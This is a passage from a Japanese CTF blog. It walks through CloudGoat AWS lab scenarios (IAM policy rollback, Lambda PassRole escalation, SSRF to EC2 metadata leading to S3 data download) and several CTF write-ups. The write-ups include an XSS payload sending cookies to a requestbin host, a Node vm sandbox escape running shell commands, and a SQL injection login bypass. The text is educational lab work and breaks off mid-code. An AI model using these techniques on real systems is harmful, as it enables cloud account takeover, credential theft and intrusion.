CTF for BBA

ゲーム時々CTFやるBBAの日常。

AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(前編)

CloudgoatはRhino Security Labsが開発した、脆弱なAWS環境の構築ツール。
現時点で7つのシナリオが用意されており、攻撃者の立場となって環境を攻撃することでAWSのセキュリティについて学習できます。

インストールは公式サイトや下記記事を参考に行えば良いのですが、現バージョンでは./cloudgoat.py config whitelist --autoコマンドでエラーとなります。

github.com

dev.classmethod.jp

これを通すためには、./cloudgoat.py config whitelistコマンドの後、IPアドレスを聞かれるので、自身の外向きIPアドレスを入力するか、
動くようにしたものを私のgithubに置いているのでこちらを利用して頂いても構いません。

git clone -b develop https://github.com/ctf4bba/cloudgoat.git


本記事ではまず3つのシナリオをやってみています。



iam_privesc_by_rollback (Small / Easy)

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_rollback/README.md

攻撃者は、ほとんど権限のないIAMユーザーから始め、IAMポリシーの過去のバージョンを確認・リストアし、最終的にfull adminに権限昇格するというシナリオ。

./cloudgoat.py create iam_privesc_by_rollbackでシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_idsecret_keyを確認し、raynorのprofileを作成する。

% cat start.txt 
cloudgoat_output_aws_account_id = 7***********
cloudgoat_output_policy_arn = arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50
cloudgoat_output_raynor_access_key_id = A**************
cloudgoat_output_raynor_secret_key = l***************************
cloudgoat_output_username = raynor-cgid4gjhu3qs50
aws configure --profile raynor
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: l***************************
Default region name [None]:
Default output format [None]:


ここからはiamのコマンドリファレンスを見ながら進める。

iam — AWS CLI 2.1.4 Command Reference

raynorのPolicyArnを確認する。

% aws iam list-attached-user-policies --user-name raynor-cgid4gjhu3qs50 --profile raynor
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-cgid4gjhu3qs50",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50"
        }
    ]
}

IAMのバージョンを確認すると、v1がデフォルトとして設定されていることがわかった。

% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-09-13T18:40:24+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-09-13T18:40:17+00:00"
        }
    ]
}

v1を確認してみると、SetDefaultPolicyVersionが許可されている。

% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v1 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "IAMPrivilegeEscalationByRollback",
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-09-13T18:40:17+00:00"
    }
}

v2を見てみると、フル権限があるようだ。

% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2020-09-13T18:40:24+00:00"
    }
}

デフォルトバージョンを変更し、ポリシーをロールバックする。

% aws iam set-default-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor

これでフル権限を奪取できた。

試しにVPCを作成してみる。権限昇格前は拒否されていたのが、

% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor

An error occurred (UnauthorizedOperation) when calling the CreateVpc operation: You are not authorized to perform this operation.

権限昇格後は作成できるようになっている。

% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor                                                                          
{
    "Vpc": {
        "CidrBlock": "192.168.0.0/23",
(snip)
    }
}



lambda_privesc (Small / Easy)


https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md

LambdaアクセスとPassRole権限を持つロールを引き受け、Lambdaの実行を通してAdministratorに権限昇格するシナリオ。


まずは./cloudgoat.py create lambda_privescでリソース等の準備をする。

profileを作成。

% aws configure --profile chris
AWS Access Key ID [None]: A*******************
AWS Secret Access Key [None]: E***************************************
Default region name [None]: ap-northeast-1
Default output format [None]: 

ユーザ名の確認。

% aws iam get-user --profile chris
{
    "User": {
        "Path": "/",
        "UserName": "chris-cgidsjgwdtt0wa",
        "UserId": "A*******************",
        "Arn": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:32+00:00",
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-chris-cgidsjgwdtt0wa"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

ポリシーの確認。

% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa"
        }
    ]
}
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --profile chris
{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-10-19T03:13:32+00:00"
        }
    ]
}
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "chris",
                    "Effect": "Allow",
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-10-19T03:13:32+00:00"
    }
}

sts:AssumeRoleが許可されている。
stsはSecurity Token Serivceのことで、これはロールの引き受け(一時的にそのロールの権限を持つこと)を可能にするコマンド。

早速roleを見てみる。

% aws iam list-roles --profile chris
(snip)
        {
            "Path": "/",
            "RoleName": "cg-debug-role-cgidsjgwdtt0wa",
            "RoleId": "A*******************",
            "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
            "CreateDate": "2020-10-19T03:13:32+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa",
            "RoleId": "A*******************",
            "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa",
            "CreateDate": "2020-10-19T03:13:40+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ]
}

使えそうなロールが2つある。

% aws iam get-role --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-debug-role-cgidsjgwdtt0wa",
        "RoleId": "A*******************",
        "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:32+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidsjgwdtt0wa"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

% aws iam get-role --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa",
        "RoleId": "A*******************",
        "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa",
        "CreateDate": "2020-10-19T03:13:40+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidsjgwdtt0wa"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            }
        ],
        "RoleLastUsed": {}
    }
}

debugロールのprincipalにはlambdaが、lambdaManagerのprincipalにはchrisが設定されている。

AWS JSON ポリシーの要素: Principal - AWS Identity and Access Management

なお、principalはロールの引き受けが可能なIAMエンティティを定義している。

各ロールにインラインポリシーはなかったので(list-role-policiesで確認)、ロールにアタッチされた管理ポリシーを確認。

qiita.com

まずはlambdaManager。

% aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa"
        }
    ]
}
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --profile chris
{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-10-19T03:13:32+00:00"
        }
    ]
}
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "lambdaManager",
                    "Effect": "Allow",
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-10-19T03:13:32+00:00"
    }
}

次にdebug。

% aws iam list-attached-role-policies --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris 
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

lambdaManagerには、lambdaの実行権限とPassRoleがあり、debugロールの方にAdministratorAccessが付いている。
前述の通り、debugロールは直接Assumeすることはできず、lambdaの実行ロールとしてしか使えない。

% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --role-session-name debug --profile chris

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa

ので、chris -> lambdaManagerをAssumeRole -> debugロールでlambdaを実行 -> admin権限をchrisに付与、の方針とする。

まず、lambdaManagerをAssumeRoleする。

% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa --role-session-name lambdaManager --profile chris
{
    "Credentials": {
        "AccessKeyId": "A*******************",
        "SecretAccessKey": "6***************************************",
        "SessionToken": "(snip)",
        "Expiration": "2020-10-21T03:22:46+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "A*******************:lambdaManager",
        "Arn": "arn:aws:sts::7***********:assumed-role/cg-lambdaManager-role-cgidsjgwdtt0wa/lambdaManager"
    }
}

発行された一時的な権限を~/.aws/credentials~/.aws/configに書き込む。

[lambdaManager]
aws_access_key_id = A*******************
aws_secret_access_key = 6***************************************
aws_session_token = (snip)
[profile lambdaManager]
region = ap-northeast-1

AWS IAM Privilege Escalation – Methods and Mitigation

こちらを参考にlambdaのコードを書く。

import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName = 'chris-cgidsjgwdtt0wa',
        PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response

コードをzipファイルにして、lambdaを実行する。
lambdaを使ったことがなかったのでちょっとハマったが、handlerにはファイル名.関数名、zip-fileにはファイルパスの前にfileb://を付ける。

% zip function.zip lambda_function.py
  adding: lambda_function.py (deflated 27%)
% aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --handler lambda_function.lambda_handler --zip-file fileb:///path/to/function.zip --profile lambdaManager
{
    "FunctionName": "privesc",
    "FunctionArn": "arn:aws:lambda:ap-northeast-1:7***********:function:privesc",
    "Runtime": "python3.6",
    "Role": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 360,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-10-21T04:24:20.327+0000",
    "CodeSha256": "P/r+N6lR6BgjoJNxfrkcmmNZ7EtsUJUe3OYOr6AByHc=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "8748a0af-02b2-41bd-ac4b-453de15e8498",
    "State": "Active",
    "LastUpdateStatus": "Successful"
}
% aws lambda invoke --function-name privesc output.txt --profile lambdaManager
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

chrisにadmin権限を付けることができた。

% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris 
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa",
            "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa"
        },
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}



cloud_breach_s3


https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md

誤って設定されたリバースプロキシサーバを悪用して、EC2のメタデータにアクセスし、インスタンスのプロファイルキーを取得する。そして、そのキーを利用してs3バケットから機密データを入手するというシナリオ。

まずは与えられたIPにアクセスしてみる。

% curl http://52.**.**.**/
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

なんとも親切なメッセージが表示される。hostヘッダをメタデータ取得のためのIPに変更してみる。

[小ネタ] EC2インスタンスメタデータを簡単に確認する | Developers.IO

169.254.169.254インスタンスからアクセス可能な特別なIPアドレスで、インスタンスに関わるメタデータが取れる。

% curl http://52.**.**.**/latest/meta-data -H "host: 169.254.169.254"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/%                                  
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials -H "host: 169.254.169.254"
cg-banking-WAF-Role-cgidnq7cedovmz
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgidnq7cedovmz -H "host: 169.254.169.254"
{
  "Code" : "Success",
  "LastUpdated" : "2020-10-21T08:49:49Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "A*******************",
  "SecretAccessKey" : "w***************************************",
  "Token" : "(snip)",
  "Expiration" : "2020-10-21T14:56:03Z"
}

これを~/.aws/credentialsに書き込み~/.aws/configにprofileを設定して、s3を見てみる。

% aws s3 ls --profile banking-WAF
2020-10-21 17:03:25 cg-cardholder-data-bucket-cgidnq7cedovmz
% aws s3 ls s3://cg-cardholder-data-bucket-cgidnq7cedovmz --profile banking-WAF
2020-10-21 17:03:39      58872 cardholder_data_primary.csv
2020-10-21 17:03:39      59384 cardholder_data_secondary.csv
2020-10-21 17:03:40      92165 cardholders_corporate.csv
2020-10-21 17:03:41     249500 goat.png
% aws s3 sync s3://cg-cardholder-data-bucket-cgidnq7cedovmz . --profile banking-WAF
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_primary.csv to ./cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/goat.png to ./goat.png
download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholders_corporate.csv to ./cardholders_corporate.csv

機密データっぽいファイルが取れた。

f:id:boxwolf:20201022115534p:plain

仮想環境へのkali linuxのinstallで詰まったのでメモ

※2020/09/20 時点での記事です。

kali linuxのインストールでめちゃくちゃ詰まった話


試した環境及びイメージ
・kali linux : (Installer) 2020.3, 2020.2, 2020.1 (VM image) 2020.3, 2020.2
VirtualBox 6.1, VMware Fusion 12

上記を、色々と組み合わせを変えながらインストールを試したのですが、
インストール後起動しようとすると、真っ黒い画面だったり、黒画面に_が点滅してる画面で止まったりしました。


結論

VMware Fusion 12とKali linux (VM image) 2020.3の組み合わせにて起動できました。
インポート時に「アップグレードしますか?」といったダイアログが出ますが、これは"No"にします。

仮想マシンをアップグレードすると新機能は向上しますが、ダウングレードしない限り旧バージョンの VMware Fusion では使用できません。

("Yes"を選ぶと起動しなくなります)

または、InstallerからKali linuxをインストール後に、起動オプションを選ぶ画面まで行けた場合は、
"Advanced options 〜"を選択し、"〜with linux 5.5"を選ぶと起動できることがあります。


CSAW CTF 2020 Writeup

別の勉強しててCTFご無沙汰でした。255点。
歳のせいか体力がなくて難しい問題頑張れませんでした。つらい

よくないけど他のプレイヤーとちょっとずつ話したりした。 これは新しい体験だった(英語力が上がった気がする)。
どうせ上位でもないなら、問題がオープンでホットなうちにヒント乞食してでも解くべきなのかもしれない…?わからない
(でもそんなことしてたらdiscordの雑談チャットが閉まってしまった)


sanity (sanity)

discordの#rulesチャンネルの説明文にフラグ。

flag: flag{w3lc0m3_t0_csaw2020}

widthless

HTTPレスポンスの末尾にZero-Width space steganographyが存在する。
下記サイトでデコードした。

https://offdev.net/demos/zwsp-steg-js

b'YWxtMHN0XzJfM3o='base64デコードするとalm0st_2_3zになる。
これをsign upに入力すると/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>という文字列が返ってきた。
http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3zにアクセスすると、次のページにアクセスできる。

このページにもzwsp stegoが最初の方、htmlタグ内等に含まれているので上記サイトでデコードすると755f756e6831645f6d33、デコードするとu_unh1d_m3が得られる。
同様にmail欄にsubmitすると/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>と返ってくるので、http://web.chal.csaw.io:5018/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3にアクセスすればフラグ。

flag: flag{gu3ss_u_f0und_m3}

roppity

ret2libc。過去のコードをちょっと変えただけ。
なぜかローカルではうまく動かなくて焦った。

ctf4bba.hatenablog.com



シェルが取れたらlscat flag.txtでOK。

flag: flag{r0p_4ft3r_r0p_4ft3R_r0p}

Perfect Secrecy

二枚の画像の黒が重なっている部分を抽出して画像にすると良さそうだった。 適当にStegSolveのImage Combiner(XOR)を使った。

f:id:boxwolf:20200913184734j:plain

ZmxhZ3swbjNfdDFtM19QQGQhfQ==base64デコードしてフラグ。

flag: flag{0n3_t1m3_P@d!}

ezbreezy

眺めてたら怪しげな関数を見つけた。

f:id:boxwolf:20200913200526p:plain

固定値を配列にmovしている。値を抽出すると8E94898F A39D8790 5C9E5B87 9A5B8B58 9E5B9A5B 8C87955b A5
8e, 94, 89, 8f, a3という数列のそれぞれの差が、6C, 61, 67, 7B, 7D(="flag{")と同じだったので、各値から0x28を引いてみたらフラグになった。

flag: flag{u_h4v3_r3c0v3r3d_m3}

redpwnCTF 2020 復習編

misc/uglybash

解き方はわかったのに私の環境のbashが古くて動かなかった。かなしい
bashfuscatorというツールで難読化されているっぽい。
bashのxオプションでデバッグ情報を出力することができる。

$ bash -x cmd.sh > tmp.txt 2>&1
$ grep printf tmp.txt
(snip)
+++ printf %s e
+++ printf %s c
+++ printf %s h
+++ printf %s o
+++ printf %s ' '
+++ printf %s d
+++ printf %s o
+++ printf %s n
+++ printf %s t
+++ printf %s ' '
+++ printf %s j
+++ printf %s u
+++ printf %s s
+++ printf %s t
+++ printf %s ' '
+++ printf %s r
+++ printf %s u
+++ printf %s n
+++ printf %s ' '
+++ printf %s i
+++ printf %s t
+++ printf %s ,
+++ printf %s ' '
+++ printf %s d
+++ printf %s u
+++ printf %s m
+++ printf %s m
+++ printf %s y
+++ printf %s ' '
+++ printf %s '#'
+++ printf %s ' '
+++ printf %s f
+++ printf %s l
+++ printf %s a
+++ printf %s g
+++ printf %s '{'
+++ printf %s u
+++ printf %s s
+++ printf %s 3
+++ printf %s _
+++ printf %s z
+++ printf %s s
+++ printf %s h
+++ printf %s ,
+++ printf %s _
+++ printf %s d
+++ printf %s u
+++ printf %s m
+++ printf %s m
+++ printf %s y
+++ printf %s '}'
+++ printf %s '

flag: flag{us3_zsh,_dummy}

web/static-pastebin

reflected XSS
エスケープを独特の実装でやっているのでそこに脆弱性があるとは思ったけど解けなかった。
先に">"を入力しておくことで"<"を通すことができる。

下記のようなスクリプトを書き込むことでcookieを取れる。
><img src=x onerror="location.href='http://[requestbin URL]?cookie='+document.cookie"><

これをbase64したものを#の後ろに付けたURLをadmin botに踏ませれば、cookie内にフラグ。

flag: flag{54n1t1z4t10n_k1nd4_h4rd}

misc/CaaSiNO

Node.jsのvmモジュールはサンドボックス環境を提供する。
しかし、thisとconstructorを組み合わせると親環境にアクセスできるらしい。

Sandboxing NodeJS is hard, here is why

$ nc 2020.redpwnc.tf 31273
> const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString()
flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}

flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}

CSCML2020 writeup

530点90位。あんまり時間とれなかったな…
2問だけです。


Censored (misc)

fileコマンドで見たらpngだったので、拡張子を直して開くと、

f:id:boxwolf:20200702190555p:plain

隠されている文字部分の16進数表示は丸見えなので、読むだけ。

flag: CSCML2020{I_know_you_think_you_understand_what_you_thought_I_said_but_I_am_not_sure_you_realize_that_what_you_heard_is_not_what_I meant}

Thanos

ページが消されちゃった!系なので.gitだろうと思ったらやはりあったので、下記のrip-gitで拾った。

GitHub - kost/dvcs-ripper: Rip web accessible (distributed) version control systems: SVN/GIT/HG...

$ cat logs/HEAD                                                     
0000000000000000000000000000000000000000 4f2a3c6a15811216659cc48d89ee71f5f68605e4 Nick Fury <nickfury@shield> 1591194165 +0300    commit (initial): STARK INDUSTRIED: first commit
4f2a3c6a15811216659cc48d89ee71f5f68605e4 af7c13b2c9c38110e33b088962d5816a9c8df10c Nick Fury <nickfury@shield> 1591194796 +0300    commit: BACKUP THE STONES
af7c13b2c9c38110e33b088962d5816a9c8df10c 35945ec04d838604a15afefc0e37cfcd5838f5b3 Nick Fury <nickfury@shield> 1591194905 +0300    commit: THANOS: lol
4f2a3c6a15811216659cc48d89ee71f5f68605e4 0af3d4209a28a24e18d422bb770e995f91725f15 Nick Fury <nickfury@shield> 1591195087 +0300    commit: THANOS HACK: lollll
0af3d4209a28a24e18d422bb770e995f91725f15 af7c13b2c9c38110e33b088962d5816a9c8df10c Nick Fury <nickfury@shield> 1591195507 +0300    checkout: moving from master to af7c13b2c9c38110e33b088962d5816a9c8df10c
af7c13b2c9c38110e33b088962d5816a9c8df10c 0af3d4209a28a24e18d422bb770e995f91725f15 Nick Fury <nickfury@shield> 1591195677 +0300    checkout: moving from af7c13b2c9c38110e33b088962d5816a9c8df10c to master

$ git cat-file -p af7c13b2c9c38110e33b088962d5816a9c8df10c          
tree be18391dfb040b52faf0c58462a23b8b6d8cfee2
parent 4f2a3c6a15811216659cc48d89ee71f5f68605e4
author Nick Fury <nickfury@shield> 1591194796 +0300
committer Nick Fury <nickfury@shield> 1591194796 +0300

BACKUP THE STONES

$ git cat-file -p be18391dfb040b52faf0c58462a23b8b6d8cfee2
100644 blob a820376bd0934adc1fc578c1f8f8889181d6c20b    index.html
100644 blob 6385461a0ca69d95218cb29474b42f0ad05d3a88    mind
100644 blob 461bea50945d85f33acbdb4876bd180662863cad    power
100644 blob 1700f1d5e7cfa11eef54f3f5edef19dc96a4a4a5    reality
100644 blob 9758730c9189e6f3d8954a6e6b294f21ca6b6c22    soul
100644 blob e885c9e2814eb21f779c362d41debbbb9ca92494    space
100644 blob 3700ce260322b68b2da8f412f135fe2ebc521d95    time

$ git cat-file 6385461a0ca69d95218cb29474b42f0ad05d3a88 > mind

BACKUP THE STONESというコミットがあるので見てみると、6つのファイルがアップロードされていた。
それぞれファイルを復元して見てみると、mindだけサイズが小さくzipの終端が含まれ、powerがzipファイル形式で始まっていることがわかった。

$ file power 
power: Zip archive data, at least v2.0 to extract

$ binwalk mind 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
88878         0x15B2E         End of Zip archive, footer length: 22

$ binwalk power
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
82            0x52            PNG image, 1920 x 1080, 8-bit/color RGB, non-interlaced
618           0x26A           Zlib compressed data, best compression

$ exiftool mind 
ExifTool Version Number         : 10.13
File Name                       : mind
Directory                       : .
File Size                       : 87 kB
File Modification Date/Time     : 2020:07:03 00:27:25+09:00
File Access Date/Time           : 2020:07:03 00:30:17+09:00
File Inode Change Date/Time     : 2020:07:03 00:27:25+09:00
File Permissions                : rw-r--r--
Error                           : Unknown file type

$ exiftool power
ExifTool Version Number         : 10.13
File Name                       : power
Directory                       : .
File Size                       : 439 kB
File Modification Date/Time     : 2020:07:03 00:27:43+09:00
File Access Date/Time           : 2020:07:03 00:29:16+09:00
File Inode Change Date/Time     : 2020:07:03 00:27:43+09:00
File Permissions                : rw-r--r--
Warning                         : Format error reading ZIP file
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : Deflated
Zip Modify Date                 : 2020:06:03 16:27:00
Zip CRC                         : 0x6b11af79
Zip Compressed Size             : 2338712
Zip Uncompressed Size           : 2341680
Zip File Name                   : infinity-stones.png

Zip Compressed Sizeが6ファイルのサイズ合計と概ね一致するので、powerを最初、mindを最後として6つのファイルを結合してzipファイルにすれば正しく解凍できるようになると考えた。
あとは総当たりでファイルを作り、解凍できる順列を探したところ、power、space、reality、soul、time、mindの順で結合したものでできた(記憶違いだったらすみません)。

f:id:boxwolf:20200703095440p:plain


flag: CSCML2020{I_L0v3_Y0u_ThAn0s}
前も書いたけどアベンジャーズは好きなんだけど、あまり詳しくない…(サノスは知ってる)

redpwnCTF 2020 writeup

3199点で316位でした。まあこんなもんですね…
pwnが基本からステップアップするように作られていたので勉強になりました。


misc/sanity-check


flag: flag{54n1ty_ch3ck_f1r5t_bl00d?}

misc/discord

discordのannouncementにフラグ。

flag: flag{w3lc0me_t0_r3dpwnctf_d1sc0rd}

misc/hackerone-survey

アンケートに答える。なお私はペンテスターではない。

flag: flag{rac3_f0r_H@ck3rOne_surv3y!}

web/inspector-general

ソースコードのheadタグ内にフラグ。

flag: flag{1nspector_g3n3ral_at_w0rk}

rev/ropes

macの実行ファイル。strignsで出る。ちなみにpinは4919。

$ strings ropes
Give me a magic number: 
First part is: flag{r0pes_ar3_
Second part is: just_l0ng_str1ngs}


flag: flag{r0pes_ar3_just_l0ng_str1ngs}

crypto/base646464

base64*25。

import base64

with open("cipher.txt", 'r') as f:
    s = f.read()
dec = s
for i in range(25):
    dec = base64.b64decode(dec)

print(dec)

flag: flag{l00ks_l1ke_a_l0t_of_64s}

web/login

admin'/*でログインできた。

SQL Injection Cheat Sheet | Netsparker


flag: flag{0bl1g4t0ry_5ql1}

pwn/coffer-overflow-0

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

